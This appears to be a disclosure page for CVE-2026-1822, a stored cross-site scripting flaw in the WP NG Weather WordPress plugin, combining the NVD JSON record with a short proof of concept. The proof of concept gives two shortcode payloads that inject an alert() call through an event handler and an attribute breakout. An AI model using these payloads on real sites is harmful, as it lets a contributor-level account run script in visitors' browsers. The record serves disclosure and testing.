CVE-2026-1822

<!-- PoC for CVE-2026-1822: WP NG Weather Stored XSS --> <!-- Usage: Add this shortcode to a post/page with Contributor+ privileges --> <!-- Vector 1: Event Handler Injection --> [ng-weather location="London" extra="test" onmouseover="alert('CVE-2026-1822')"] <!-- Vector 2: Attribute Breakout (if context allows) --> [ng-weather location=""><img src=x onerror=alert(1)>"]

{"cve": {"id": "CVE-2026-1822", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:54.923", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP NG Weather plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ng-weather' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP NG Weather para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'ng-weather' del plugin en todas las versiones hasta la 1.0.9, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-ng-weather/tags/1.0.9/templates/app.php#L5", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-ng-weather/tags/1.0.9/wp-weather.php#L49", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1592108b-acc0-47da-bbff-3202cbc345e7?source=cve", "source": "[email protected]"}]}}